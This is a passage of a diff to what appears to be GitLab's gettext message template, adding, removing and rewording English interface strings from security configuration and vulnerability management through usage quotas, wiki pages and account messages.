msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
